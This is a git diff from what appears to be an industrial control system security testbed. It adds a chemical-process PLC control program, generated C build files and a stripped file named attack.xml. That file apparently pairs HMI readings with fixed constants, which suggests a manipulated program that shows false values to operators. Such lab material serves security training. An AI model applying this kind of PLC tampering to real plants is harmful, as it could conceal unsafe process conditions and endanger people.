pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if 